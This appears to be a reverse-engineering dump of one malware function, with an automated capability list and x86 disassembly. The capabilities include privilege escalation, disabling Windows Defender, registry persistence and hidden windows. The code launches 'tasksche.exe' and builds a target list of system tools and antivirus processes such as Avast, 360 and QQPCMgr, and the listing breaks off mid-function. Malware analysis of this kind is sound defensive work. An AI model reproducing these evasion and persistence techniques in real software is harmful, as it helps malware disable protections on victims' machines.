Function at 0x403820
Capabilities:
Acquire debug privileges
Change the wallpaper
Create a process with modified i/o handles and window
Create process on windows
Disable system features via registry on windows
Disable windows defender features via registry on windows
Hide graphical window
Parse pe header
Persist via default file association registry key
Persist via image file execution options registry key
Persist via run registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x572ec9
mov eax, dword fs:[0]
push eax
sub esp, 0x73c
mov eax, dword [0x5db004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0xb0], eax
call fcn.0041de6a
mov ecx, str.SeAssignPrimaryTokenPrivilege
call fcn.00403470
mov ecx, str.SeAuditPrivilege
call fcn.00403470
mov ecx, str.SeBackupPrivilege
call fcn.00403470
mov ecx, str.SeChangeNotifyPrivilege
call fcn.00403470
mov ecx, str.SeCreateGlobalPrivilege
call fcn.00403470
mov ecx, str.SeCreatePagefilePrivilege
call fcn.00403470
mov ecx, str.SeCreatePermanentPrivilege
call fcn.00403470
mov ecx, str.SeCreateSymbolicLinkPrivilege
call fcn.00403470
mov ecx, str.SeCreateTokenPrivilege
call fcn.00403470
mov ecx, str.SeDebugPrivilege
call fcn.00403470
mov ecx, str.SeEnableDelegationPrivilege
call fcn.00403470
mov ecx, str.SeImpersonatePrivilege
call fcn.00403470
mov ecx, str.SeIncreaseQuotaPrivilege
call fcn.00403470
mov ecx, str.SeIncreaseBasePriorityPrivilege
call fcn.00403470
mov ecx, str.SeIncreaseWorkingSetPrivilege
call fcn.00403470
mov ecx, str.SeLoadDriverPrivilege
call fcn.00403470
mov ecx, str.SeLockMemoryPrivilege
call fcn.00403470
mov ecx, str.SeMachineAccountPrivilege
call fcn.00403470
mov ecx, str.SeManageVolumePrivilege
call fcn.00403470
mov ecx, str.SeProfileSingleProcessPrivilege
call fcn.00403470
mov ecx, str.SeRelabelPrivilege
call fcn.00403470
mov ecx, str.SeRemoteShutdownPrivilege
call fcn.00403470
mov ecx, str.SeRestorePrivilege
call fcn.00403470
mov ecx, str.SeSecurityPrivilege
call fcn.00403470
mov ecx, str.SeShutdownPrivilege
call fcn.00403470
mov ecx, str.SeSyncAgentPrivilege
call fcn.00403470
mov ecx, str.SeSystemtimePrivilege
call fcn.00403470
mov ecx, str.SeSystemEnvironmentPrivilege
call fcn.00403470
mov ecx, str.SeSystemProfilePrivilege
call fcn.00403470
mov ecx, str.SeTakeOwnershipPrivilege
call fcn.00403470
mov ecx, str.SeTcbPrivilege
call fcn.00403470
mov ecx, str.SeTimeZonePrivilege
call fcn.00403470
mov ecx, str.SeTrustedCredManAccessPrivilege
call fcn.00403470
mov ecx, str.SeUndockPrivilege
call fcn.00403470
mov ecx, str.SeUnsolicitedInputPrivilege
call fcn.00403470
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0x44
movlpd qword [ebp - 0x90], xmm0
movlpd qword [ebp - 0x88], xmm0
movlpd qword [ebp - 0x80], xmm0
movlpd qword [ebp - 0x78], xmm0
movlpd qword [ebp - 0x70], xmm0
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x94]
push eax
push 0
push 0
push 0x200
push 0
push 0
push 0
push 0
push str.tasksche.exe
movups xmmword [ebp - 0xa4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0xa4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xa0]
call esi
push 0x104
push 0x5e4190
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x5b87a8
push 0x104
push 0x5e3f88
call fcn.0055c225
push 0x5e4190
push 0x104
push 0x5e3f88
call fcn.0055c289
push 0x5b87a8
push 0x104
push 0x5e3f88
call fcn.0055c289
add esp, 0x24
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, 0x5b87ac
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x403ace
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x403ada
push 0xc
push 0x5b87ac
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403b0e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.EXPLORER.EXE
mov dword [ebp - 4], 1
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x403b51
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x403b5d
push 0xc
push str.EXPLORER.EXE
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403b8e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.explorer.exe
mov dword [ebp - 4], 2
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x403bd1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x403bdd
push 0xc
push str.explorer.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403c0e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.SNDVOL.EXE
mov dword [ebp - 4], 3
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x403c51
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x403c5d
push 0xa
push str.SNDVOL.EXE
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403c8e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.SndVol.exe
mov dword [ebp - 4], 4
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x403cd1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x403cdd
push 0xa
push str.SndVol.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403d0e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.TASKMGR.EXE
mov dword [ebp - 4], 5
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x403d51
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x403d5d
push 0xb
push str.TASKMGR.EXE
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403d8e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.Taskmgr.exe
mov dword [ebp - 4], 6
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x403dd1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x403ddd
push 0xb
push str.Taskmgr.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403e0e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.taskmgr.exe
mov dword [ebp - 4], 7
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x403e51
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x403e5d
push 0xb
push str.taskmgr.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403e8e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.CMD.EXE
mov dword [ebp - 4], 8
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x403ed1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x403edd
push 7
push str.CMD.EXE
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403f0e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.cmd.exe
mov dword [ebp - 4], 9
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x403f51
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x403f5d
push 7
push str.cmd.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403f8e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.REGEDIT.EXE
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x403fd1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x403fdd
push 0xb
push str.REGEDIT.EXE
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40400e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.regedit.exe
mov dword [ebp - 4], 0xb
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404051
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x40405d
push 0xb
push str.regedit.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40408e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.REGEDT32.EXE
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x4040d1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x4040dd
push 0xc
push str.REGEDT32.EXE
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40410e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.regedt32.exe
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404151
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x40415d
push 0xc
push str.regedt32.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40418e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.avp.exe
mov dword [ebp - 4], 0xe
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x4041d1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x4041dd
push 7
push str.avp.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40420e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.AgentSvr.exe
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404251
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x40425d
push 0xc
push str.AgentSvr.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40428e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.AST.exe
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x4042d1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x4042dd
push 7
push str.AST.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40430e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.avcenter.exe
mov dword [ebp - 4], 0x11
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404351
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x40435d
push 0xc
push str.avcenter.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40438e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.avconfig.exe
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x4043d1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x4043dd
push 0xc
push str.avconfig.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40440e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.AvastUI.exe
mov dword [ebp - 4], 0x13
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404451
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x40445d
push 0xb
push str.AvastUI.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40448e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.AvastSvc.exe
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x4044d1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x4044dd
push 0xc
push str.AvastSvc.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40450e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.CCenter.exe
mov dword [ebp - 4], 0x15
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404551
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x40455d
push 0xb
push str.CCenter.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40458e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.QQPCMgr.exe
mov dword [ebp - 4], 0x16
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x4045d1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x4045dd
push 0xb
push str.QQPCMgr.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40460e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.QQPCTray.exe
mov dword [ebp - 4], 0x17
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404651
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x40465d
push 0xc
push str.QQPCTray.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40468e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.360Tray.exe
mov dword [ebp - 4], 0x18
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x4046d1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x4046dd
push 0xb
push str.360Tray.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40470e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.Rav.exe
mov dword [ebp - 4], 0x19
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404751
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x40475d
push 7
push str.Rav.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40478e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.hipsmain.exe
mov dword [ebp - 4], 0x1a
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x4047d1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x4047dd
push 0xc
push str.hipsmain.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40480e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.hipstray.exe
mov dword [ebp - 4], 0x1b
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404851
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x40485d
push 0xc
push str.hipstray.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40488e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.360Safe.exe
mov dword [ebp - 4], 0x1c
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x4048d1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x4048dd
push 0xb
push str.360Safe.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40490e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.sysdiag.exe
mov dword [ebp - 4], 0x1d
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404951
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x40495d
push 0xb
push str.sysdiag.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40498e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.kxetray.exe
mov dword [ebp - 4], 0x1e
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x4049d1
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x4049dd
push 0xb
push str.kxetray.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x404a0e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
call fcn.0040fe29
mov ecx, eax
test ecx, ecx
je 0x40bf97
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
mov eax, str.PowerShell.exe
mov dword [ebp - 4], 0x1f
lea ecx, [ebp - 0xa8]
test eax, 0xffff0000
jne 0x404a51
movzx eax, ax
push eax
call fcn.00402a50
jmp 0x404a5d
push 0xe
push str.PowerShell.exe
call fcn.00402f90
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403260
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
